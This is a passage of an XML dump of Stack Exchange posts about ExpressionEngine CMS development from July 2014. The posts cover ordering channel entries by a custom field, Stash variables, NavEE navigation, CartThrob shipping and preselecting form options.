  <row Id="24571" PostTypeId="1" CreationDate="2014-07-22T15:18:30.330" Score="0" ViewCount="69" Body="&lt;p&gt;I have a channel full of product entries. I have a checkbox custom field to mark a product as &quot;popular&quot;. I want all &quot;popular&quot; products to display first in the list, like they are &quot;sticky&quot;. But I don't want to use the default &quot;sticky&quot; option. Can I display all entries marked with &quot;popular&quot; custom field, then display the rest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i know I can use 2 channel entry tags, just trying to avoid it if possible.&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2014-07-22T15:40:06.573" LastActivityDate="2014-07-22T15:51:40.353" Title="displaying certain entries first based on custom field" Tags="|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24572" PostTypeId="2" ParentId="24553" CreationDate="2014-07-22T15:26:40.077" Score="1" Body="&lt;p&gt;Check out this array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;form_validation-&amp;gt;_error_array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can check its contents and add to it. I forget the best hook to use this in, but it might be entry_submission_start?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2014-07-22T15:26:40.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24573" PostTypeId="2" ParentId="24571" CreationDate="2014-07-22T15:26:41.327" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#orderby&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can order by custom fields in the channel entries tags. It might mess up the order of the remaining entries though.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-22T15:26:41.327" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24574" PostTypeId="2" ParentId="24571" CreationDate="2014-07-22T15:51:40.353" Score="0" Body="&lt;p&gt;I have to do some more testing, but i think I got it with this... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;sort=&quot;dsc|asc&quot; orderby=&quot;product_popular|title&quot;&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-07-22T15:51:40.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24575" PostTypeId="1" CreationDate="2014-07-22T17:03:45.910" Score="0" ViewCount="180" Body="&lt;p&gt;Im using Transcribe 1.6.1 on EE 2.9 – is it possible to fall back to the default language where no translation is provided? &lt;/p&gt;&#xA;" OwnerUserId="793" LastActivityDate="2016-06-19T16:02:59.107" Title="Using Transcribe for EE, can I fall back to the default language where no translation exists?" Tags="|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24577" PostTypeId="2" ParentId="24355" CreationDate="2014-07-22T17:47:27.167" Score="1" Body="&lt;p&gt;So, here's how this was fixed:     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:form channel=&quot;your_channel&quot;}&#xA;    &amp;lt;div class=&quot;form-element-wrapper&quot; id=&quot;custom-field-container&quot;&amp;gt;&#xA;       &amp;lt;label for=&quot;custom_field&quot;&amp;gt;Custom Field Label&amp;lt;/label&amp;gt;&#xA;          {field:custom_field}&#xA;    &amp;lt;/div&amp;gt;&#xA; etc&#xA; etc&#xA; {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;:-)&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-22T17:47:27.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24578" PostTypeId="2" ParentId="19674" CreationDate="2014-07-22T17:57:11.113" Score="0" Body="&lt;p&gt;If you look at the events documentation. Notice how the &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#date_range_end&quot; rel=&quot;nofollow&quot;&gt;date range end parameter&lt;/a&gt;. Defaults to today. You just need to specify a date range end for the events tag to be used this way.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-22T17:57:11.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24579" PostTypeId="2" ParentId="24515" CreationDate="2014-07-22T18:06:35.510" Score="1" Body="&lt;p&gt;This functionality exists in the FreeForm Pro version. Complete details here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/freeform/channel_entry_fieldtype/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Freeform allows you to call your forms directly into a channel entry.&#xA;  Simply create a custom channel field (of the Freeform fieldtype), and&#xA;  it will allow your admins to select Composer-based forms to be linked&#xA;  directly to a the channel field. You can then have the form(s) display&#xA;  on the front end alongside your channel entry using the&#xA;  Channel:Entries tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The resulting field looks like this on the edit form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgZM6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-07-22T18:06:35.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24580" PostTypeId="2" ParentId="24551" CreationDate="2014-07-22T18:09:02.807" Score="1" Body="&lt;p&gt;Using segments as Anna described in her answer definitely works well for some sites. But it can get tedious on large or deep navigation trees and is not practical when the client needs to manage the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In those cases, or if you just want to cut out all the conditionals, take a look at &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/navee&quot; rel=&quot;nofollow&quot;&gt;NavEE&lt;/a&gt;&lt;/strong&gt;. It's very flexible and easy to use. Well worth the price. Just build out a navigation tree by linking to Pages entries, regular entries, templates, or custom URL and then NavEE does the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example of the tag use, here is a main nav tag from a current project of mine. It generates a dropdown navigation with the CSS classes I want to use for the active parent and active page styles. It does a great job of applying the active classes dynamically based on the requested page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom &#xA;    nav_title=&quot;main&quot; &#xA;    wrap_type=&quot;ul&quot; &#xA;    class=&quot;sf-menu&quot; &#xA;    selected_class=&quot;active&quot;&#xA;    selected_class_on_parents=&quot;true&quot;&#xA;    parent_selected_class=&quot;active-parent&quot;&#xA;    max_depth=&quot;2&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot; class=&quot;{class}&quot;&amp;gt;{text}&amp;lt;/a&amp;gt;{kids}&amp;lt;/li&amp;gt;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And even if you run into a more unusual navigation scenario should be able to adapt NavEE to your situation by using one of the many &lt;a href=&quot;http://fromtheoutfit.com/navee/custom-navee#parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt; or &lt;a href=&quot;http://fromtheoutfit.com/navee/control-panel#pages&quot; rel=&quot;nofollow&quot;&gt;additional options.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-07-22T18:20:32.080" LastActivityDate="2014-07-22T18:20:32.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24581" PostTypeId="2" ParentId="24538" CreationDate="2014-07-22T18:43:56.177" Score="1" Body="&lt;p&gt;You don't detail where you are trying to &quot;push&quot; the sender's name after you've pulled it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use it to set the entry Author, you can do that with the &quot;User Authorization&quot; override:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/moblog/index.html#user-authorization&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/moblog/index.html#user-authorization&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can push data into fields like this:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/moblog/index.html#field&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/moblog/index.html#field&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-07-23T19:58:24.240" LastActivityDate="2014-07-23T19:58:24.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24582" PostTypeId="1" CreationDate="2014-07-22T21:16:40.920" Score="0" ViewCount="39" Body="&lt;p&gt;Within the CartThrob Order Manager, on the product report tab, under the the initial report, there is an option to choose a date range. When I select a date range and generated the report, an order report is generated instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2016-06-18T12:49:51.127" Title="Bug? When selecting a date range within product report, an order report is generated instead" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24583" PostTypeId="1" CreationDate="2014-07-22T21:25:40.857" Score="0" ViewCount="16" Body="&lt;p&gt;A client, whose website I did not develop, is having intermittent problems with international orders.  Customers are not able to progress from the initial cart/address screen to any other page.&lt;br&gt;&#xA;I think a fix for this client shouldn't be too hard, but since I'm not an EE developer, I don't know how to do it. The client wants shipping charges to be automatically generated for U.S. orders only. All international orders will require direct follow-up. So, how do I set it up so that shipping cost information is suppressed for all international orders and visible only for U.S. orders?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-07-24T04:10:18.020" Title="Expresso: international orders not able to complete" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24584" PostTypeId="1" AcceptedAnswerId="24600" CreationDate="2014-07-22T21:59:23.050" Score="0" ViewCount="54" Body="&lt;p&gt;I'm trying to retrieve a category ID to be used in the Member Categories tag pair that is used later on in my template.  I know for sure that the variables is being set (I tested it outside the Member Categories tag), but for some reason it refuses to work as a parameter.  I've tried adding process=&quot;end&quot; but that didn't seem to do anything.  Any help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot; disable=&quot;pagination&quot;}&#xA;        ...&#xA;        {exp:stash:set name=&quot;my_id&quot;}&#xA;            {categories limit=&quot;1&quot;}&#xA;                {category_id}&#xA;            {/categories}&#xA;        {/exp:stash:set}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:member_categories:members category_id=&quot;{exp:stash:get name='my_id' process='end'}&quot; limit=&quot;4&quot; backspace=&quot;1&quot;}&#xA;        {screen_name}, &#xA;    {/exp:member_categories:members} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1355" LastEditorUserId="1326" LastEditDate="2014-07-23T13:13:10.433" LastActivityDate="2014-07-23T13:13:10.433" Title="Using Stash variable as Member Categories parameter" Tags="|stash|member-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24585" PostTypeId="1" AcceptedAnswerId="24588" CreationDate="2014-07-22T23:22:39.167" Score="1" ViewCount="51" Body="&lt;p&gt;i can't seem to find out why a tag would be rendering the wrong url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that &lt;code&gt;{webm}&lt;/code&gt; should be rendering to &lt;code&gt;http://www.hallmarklighting.com/video/hallmarkYT.webm&lt;/code&gt; with the &lt;code&gt;/video/&lt;/code&gt; &#xA;not as &#xA;&lt;code&gt;http://www.hallmarklighting.com/hallmarkYT.webm&lt;/code&gt; which it's currently doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the channel field is set to &lt;em&gt;file&lt;/em&gt; and the directory is set to grab the video from the folder &lt;em&gt;video&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if there is anymore relevant info needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE markup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &amp;lt;div class=&quot;lb-content&quot;&amp;gt;&amp;lt;!-- main content of lightbox --&amp;gt;&#xA;                    &amp;lt;video width=&quot;640&quot; height=&quot;480&quot; poster=&quot;{poster}&quot; preload=&quot;metadata&quot; controls&amp;gt;&#xA;                            &amp;lt;source src=&quot;{mov}&quot; type=&quot;video/mov&quot; /&amp;gt;&#xA;                            &amp;lt;source src=&quot;{mp4}&quot; type=&quot;video/mp4&quot; /&amp;gt;&#xA;                            &amp;lt;source src=&quot;{webm}&quot; type=&quot;video/webm&quot; /&amp;gt;&#xA;                            You're browser seems to be out of date as it doesn't support Video, visit &amp;lt;a href=&quot;{alternative_link}&quot; target=&quot;_blank&quot;&amp;gt;youtube.com/{title}&amp;lt;/a&amp;gt; to watch this video.&#xA;                    &amp;lt;/video&amp;gt;                                &#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- end content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;what's being rendered:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;lb-content&quot;&amp;gt;&amp;lt;!-- main content of lightbox --&amp;gt;&#xA;    &amp;lt;video width=&quot;640&quot; height=&quot;480&quot; poster=&quot;http://www.hallmarkcollective.com/images/uploads/hallmarkIntro.jpg&quot; preload=&quot;metadata&quot; controls&amp;gt;&#xA;        &amp;lt;source src=&quot;http://www.hallmarklighting.com/hallmarkYT.mov&quot; type=&quot;video/mov&quot; /&amp;gt;&#xA;        &amp;lt;source src=&quot;http://www.hallmarklighting.com/hallmarkYT.mp4&quot; type=&quot;video/mp4&quot; /&amp;gt;&#xA;        &amp;lt;source src=&quot;http://www.hallmarklighting.com/hallmarkYT.webm&quot; type=&quot;video/webm&quot; /&amp;gt;&#xA;        You're browser seems to be out of date as it doesn't support Video, visit &amp;lt;a href=&quot;http://youtu.be/E6S9vadARk0&quot; target=&quot;_blank&quot;&amp;gt;youtube.com/Introducing Hallmark Lighting&amp;lt;/a&amp;gt; to watch this video.&#xA;    &amp;lt;/video&amp;gt;                                &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="2797" LastActivityDate="2014-07-23T01:42:30.107" Title="tags not rendering the right url" Tags="|channel-entries|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24586" PostTypeId="1" AcceptedAnswerId="24602" CreationDate="2014-07-22T23:33:39.833" Score="0" ViewCount="25" Body="&lt;p&gt;I have been asked to set up a &quot;show more&quot; search results expansion instead of &quot;next page&quot; style. An example would be, when you are reading comments on LinkedIn, instead of a list of pages of comments you can review, you simply click &quot;show more&quot; and it dynamically loads additional comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I purchased Solspace Super Search this morning, as the built in search was too limited for our needs. I'm curious if anyone has created something like this already, and would have suggestions. Alternately, if no one has done this, any suggestions on where I might start? (&lt;em&gt;long&lt;/em&gt; time programmer, PHP and many more, don't hold back if you think i might not understand)&lt;/p&gt;&#xA;" OwnerUserId="3389" LastActivityDate="2014-07-23T13:42:54.503" Title="Non-Paginated, Dynamic Adding Search Results" Tags="|solspace|supersearch|dynamic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24588" PostTypeId="2" ParentId="24585" CreationDate="2014-07-23T01:42:30.107" Score="1" Body="&lt;p&gt;It looks like the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#url-of-upload-directory&quot; rel=&quot;nofollow&quot;&gt;URL of the upload directory&lt;/a&gt; is set wrong.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-07-23T01:42:30.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24589" PostTypeId="1" AcceptedAnswerId="24679" CreationDate="2014-07-23T01:43:52.570" Score="0" ViewCount="118" Body="&lt;p&gt;I have a form with a select drop-down for country codes, and with option text that displays the full country name, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;country_code&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;AUS&quot;&amp;gt;Australia&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;CAN&quot;&amp;gt;Canada&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;GBR&quot;&amp;gt;United Kingdom&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After a user has chosen their country and stored the country_code data into an expressionengine field, how can I pre-select their country code and associate the full country name afterwards when they want to edit their country in the future?  For example, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;country_code&quot;&amp;gt;&#xA;  &amp;lt;option selected value=&quot;{country_code}&quot;&amp;gt;&amp;lt;!-- full country name here --&amp;gt;&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;AUS&quot;&amp;gt;Australia&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;CAN&quot;&amp;gt;Canada&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;GBR&quot;&amp;gt;United Kingdom&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-07-26T08:25:31.583" Title="How to pre-select option value when option text differs from the value" Tags="|forms|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24590" PostTypeId="1" CreationDate="2014-07-23T05:44:31.517" Score="1" ViewCount="292" Body="&lt;p&gt;Yesterday I updated one of my site to 2.9.0 (from 2.5.x ... yes I know ...) anyhow everything worked well except that the template editor is not working as before. Meaning:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can't insert tab spaces anymore as then the editor move my cursor to the next field (Preference, Template name)&lt;/li&gt;&#xA;&lt;li&gt;The Preferences, Access and Template notes block are always visible and I cannot collapse them anymore....&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm just rebuilding the site of my customer and editing thousands of lines like this will not be easy ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As anyone seen this before? thanks in advance for any hint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steven&lt;/p&gt;&#xA;" OwnerUserId="3390" LastActivityDate="2014-08-05T14:15:43.700" Title="Template editor malfunction after update to 2.9.0" Tags="|ee2|ee2-upgrades|editor|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24592" PostTypeId="2" ParentId="24589" CreationDate="2014-07-23T10:33:06.873" Score="2" Body="&lt;p&gt;I'm assuming you have &quot;AUS&quot; saved in the members profile, you could use this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;country_code&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;AUS&quot;{if country_code == &quot;AUS&quot;} selected{/if}&amp;gt;Australia&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;CAN&quot;{if country_code == &quot;CAN&quot;} selected{/if}&amp;gt;Canada&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;GBR&quot;{if country_code == &quot;GBR&quot;} selected{/if}&amp;gt;United Kingdom&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I'm basing this on your example where you only have a few countries!!&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-07-23T10:33:06.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24593" PostTypeId="1" CreationDate="2014-07-23T10:42:05.693" Score="0" ViewCount="122" Body="&lt;p&gt;Using EE 2.8.1 with the default file field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When uploading an image the modal changes to just have the blank modal with spinner screen (attached). It does actually upload though - but the user has to refresh the entry page to see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no image transformations on this upload directory, although there was previously and this happens on all directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as the screenshot demonstrates no JS errors are occurring within Chrome's Web Inspector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Firefox's debug does show this message upon pressing &quot;Upload File&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The character encoding of a framed document was not declared. The document may appear different if viewed without the document framing it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anybody know of a fix for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/96D3u.png&quot; alt=&quot;Demonstrates that there isn&amp;#39;t JS errors&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2016-06-08T04:10:56.687" Title="Image uploads, but the modal doesn't update" Tags="|file-uploads|file-manager|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24595" PostTypeId="1" CreationDate="2014-07-23T11:11:26.410" Score="0" ViewCount="97" Body="&lt;p&gt;Our client gives 'free' samples but having tried seemingly endless combinations, I don't think Cart Throb will charge a shipping rate on a free item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to manually set the shipping rate through a hidden field, which gets added to the main data array, but it doesn't carry a value to add to the subtotal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is case with CT? Is there a way around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I could reverse the charge (apply the shipping rate to the product and set free shipping), but then they can't really promote the 'free' samples, so would rather try and get the free product with shipping if possible.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2016-05-21T21:01:15.297" Title="Charge shipping on free item in Cart Throb" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24596" PostTypeId="1" AcceptedAnswerId="26021" CreationDate="2014-07-23T11:33:50.480" Score="0" ViewCount="383" Body="&lt;p&gt;I'm trying to use a variable in a match for a stash get_list like so, but it doesn't appear to be working;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm setting an initial entry_id here for a place;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;places&quot;&#xA;    status=&quot;open&quot;&#xA;    {global:channel_disable_basic}&#xA;}&#xA;{exp:stash:set name=&quot;place_id&quot;}{entry_id}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I'm getting a list of events like so which contains an Event Venue as a custom field;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;venue-events&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    parse_depth=&quot;3&quot;&#xA;    save=&quot;yes&quot;&#xA;    scope=&quot;site&quot;&#xA;}&#xA;    {exp:calendar:cal&#xA;        calendar_id=&quot;4871&quot;&#xA;        first_day_of_week=&quot;1&quot;&#xA;        enable=&quot;custom_fields&quot;&#xA;        date_range_start=&quot;today&quot;&#xA;        date_range_end=&quot;+ 12 months&quot;&#xA;        pad_short_weeks=&quot;n&quot;&#xA;        dynamic=&quot;yes&quot;&#xA;    }&#xA;        {stash:venue_event_title}{title}{/stash:venue_event_title}&#xA;        {stash:venue_event_venue}{cf_event_venue}{entry_id}{/cf_event_venue}{/stash:venue_event_venue}&#xA;    {/exp:calendar:cal}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then finally i'm using the 'place' entry_id above to match against the 'venue_event_venue';&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;venue-events&quot;&#xA;    require_prefix=&quot;no&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;3&quot;&#xA;    match=&quot;#^{exp:stash:get name='place_id'}$#&quot;&#xA;    against=&quot;venue_event_venue&quot;&#xA;}&#xA;    &amp;lt;pre&amp;gt;{venue_event_title}, {venue_event_date}, {venue_event_venue}&amp;lt;/pre&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't get &lt;code&gt;{exp:stash:get name='place_id'}&lt;/code&gt; to work in the 'match' but on it's own it does return a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful for any advice here.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2015-03-02T20:07:15.400" Title="Using a variable in a match with Stash" Tags="|stash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24598" PostTypeId="2" ParentId="24596" CreationDate="2014-07-23T12:42:01.490" Score="0" Body="&lt;p&gt;NOTE: This code is untested!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your exact template scenario, try this first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Set your stash to wrap the channel entry instead of being contained within&#xA;//Use trim to remove whitespace&#xA;{exp:stash:set name=&quot;place_id&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;{exp:channel:entries&#xA;    channel=&quot;places&quot;&#xA;    status=&quot;open&quot;&#xA;    {global:channel_disable_basic}&#xA;}&#xA;{entry_id}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesnt work, set the stash as a snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;place_id&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;…&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then get it using traditional snippet style:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list&#xA;    name=&quot;venue-events&quot;&#xA;    require_prefix=&quot;no&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_depth=&quot;3&quot;&#xA;    match=&quot;#^{place_id}$#&quot;&#xA;    against=&quot;venue_event_venue&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess if all that fails you can try &lt;code&gt;{exp:stash:parse}&lt;/code&gt; something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:stash:get_list&#xA;    name=&quot;venue-events&quot;&#xA;    match=&quot;#^{exp:stash:get name='place_id'}$#&quot;&#xA;    against=&quot;venue_event_venue&quot;&#xA;}&#xA;    &amp;lt;pre&amp;gt;{venue_event_title}, {venue_event_date}, {venue_event_venue}&amp;lt;/pre&amp;gt;&#xA;{/exp:stash:get_list}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-07-23T12:42:01.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24599" PostTypeId="1" CreationDate="2014-07-23T13:00:02.497" Score="2" ViewCount="428" Body="&lt;p&gt;New to the lovely Low Search, so apologies for likely dumb question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a single Input search form, that I'd like to use to search both entry titles (in one channel/collection) as well as one specific Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I seem to be able to get Entry Title results with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form result_page=&quot;root/search_results&quot; }&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  